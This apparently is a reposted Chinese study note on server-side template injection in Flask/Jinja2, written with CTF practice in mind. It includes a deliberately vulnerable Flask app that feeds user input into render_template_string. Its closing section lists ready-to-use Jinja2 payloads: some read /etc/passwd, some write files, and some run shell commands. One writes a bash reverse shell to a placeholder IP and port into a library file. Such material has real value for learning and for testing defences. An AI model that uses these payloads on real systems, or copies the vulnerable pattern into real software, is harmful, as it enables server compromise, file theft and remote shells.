zoukankan      html  css  js  c++  java
  • SSTI学习

    模板引擎

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

    模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

    SSTI(模板注入)

    SSTI 就是服务器端模板注入(Server-Side Template Injection)

    当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

    漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

    Python SSTI

    介绍

    CTF中经常见到的就是Flask框架,而Flask中默认的模板语言是Jinja2,render_template 函数封装了该模板引擎

    模板语法主要分两种变量和结构标签

    {{}}表示这是一个变量,可以根据用户在模块端给予的参数的不同,进行调整

    {% %}这样代表控制语句

    控制语句经常使用的for和if

    if

    {% if title %}                                    
    <title>{{title}} - microblog</title>      
    {% else %}
    <title>Welcome to microblog</title>
    {% endif %}

    for

    {% for user in users %}
    <li>{{ user.username|title }}</li>
    {% endfor %}

    SSTI测试脚本:

    from flask import Flask, render_template, render_template_string, request,flash
    app = Flask(__name__)
     
    @app.route('/yunying')
    def hello():
        code = request.args.get('ssti')
        html = '''
        <h2>The ssti is </h2>
        <h3>%s</h3>
        ''' % (code)
        return render_template_string(html)
     
    if __name__ == "__main__":
        app.run()

    传入{{3*9}}让模板解析

    还可以用Flask中常见的几个全局变量去测试比如config,g,session,request去探测是否存在ssti漏洞

    利用

    python中一切均为对象,均继承object对象

    python的 SSTI大部分是依靠基类->子类->危险函数的方式来利用ssti,以下为一些内置方法

    • __class__

    万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

    • __bases__

    以元组的形式返回一个类所直接继承的类

    • __base__

    以字符串返回一个类所直接继承的类

    • __mro__

    返回解析方法调用的顺序

    • __subclasses__()

    获取类的所有子类

    • __init__

    所有自带带类都包含init方法,便于利用他当跳板来调用globals

    • __globals__

    function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量

    总结:

    __dict__   :保存类实例或对象实例的属性变量键值对字典
    __class__  :返回一个实例所属的类
    __mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
    // __base__和__mro__都是用来寻找基类的
    __subclasses__  :以列表返回类的子类
    __init__   :类的初始化方法
    __globals__     :返回函数所在模块命名空间中的所有变量
    __getattribute__() :获取属性或方法,对模块和类都有效
    __getitem__() :以索引取值或者键取值
    __builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  
    这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  
    在py3中__builtin__被换成了builtin                  
    1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  
    2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

    SSTI中主要的目的:

    • 执行命令
    • 读取文件内容(flag)

    执行shell相关函数

    //执行shell的模块
    import os, commands, platfrom, subprocess 
    //执行shell的函数
    os.system('ls')
    os.popen('ls').read()
    platform.popen('ls').read()
    status,output = commands.getstatusoutput('ls')
    subprocess.call(['ifconfig'],shell=True)

    读文件的话

    py2中
    file对象或者open函数
    py3中
    没有file对象,只能用open函数

    __class__,class用于返回该对象所属的类

     __bases __,以元组的形式返回一个类所直接继承的所有类。

     __base __,以字符串返回一个类所直接继承的类

     __mro __,返回解析方法调用的顺序

    可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类(python2和python2有区别)

    __subclasses __(),获取类的所有子类

    __init __
    所有自带带类都包含init方法,便于利用他当跳板来调用globals

    __globals __

    function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量

    __dict__,保存类实例或对象实例的属性变量键值对字典

    __getattribute__(),获取属性或方法,对模块和类都有效

    python2利用

    就放几个常见的payload理解一下

    文件读取和写入

    #读文件
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 
    {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
    #写文件
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

    任意执行

    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} 
    {{ config.from_pyfile('/tmp/owned.cfg') }} 
    {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output
    
    RUNCMD = check_output
    ')}} 
    {{ config.from_pyfile('/tmp/owned.cfg') }} 
    {{ config['RUNCMD']('/usr/bin/id',shell=True) }}   
    
    #假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("
    os.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

    无回显

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}     
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

    任意执行只需要一条指令

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 
    {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块) 
    {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

    #剩下的考完试再写,一个下午基本懂原理和构造方式了,发现有很多文章杂七杂八的,想总结的话比较困难,理解了就会构造了就完事了,其他的就总结下奇怪的姿势就OK了

    参考:

    https://www.cnblogs.com/-qing-/p/11656544.html

    https://blog.csdn.net/weixin_34203426/article/details/86355535

    https://www.cnblogs.com/zaqzzz/p/10251892.html

    https://blog.csdn.net/qq_40657585/article/details/83657220

  • 相关阅读:
    线性代数思维导图——3.向量
    微分中值定理的基础题型总结
    构造函数
    Python课程笔记(七)
    0241. Different Ways to Add Parentheses (M)
    0014. Longest Common Prefix (E)
    0013. Roman to Integer (E)
    0011. Container With Most Water (M)
    0010. Regular Expression Matching (H)
    0012. Integer to Roman (M)
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/13983195.html
Copyright © 2011-2022 走看看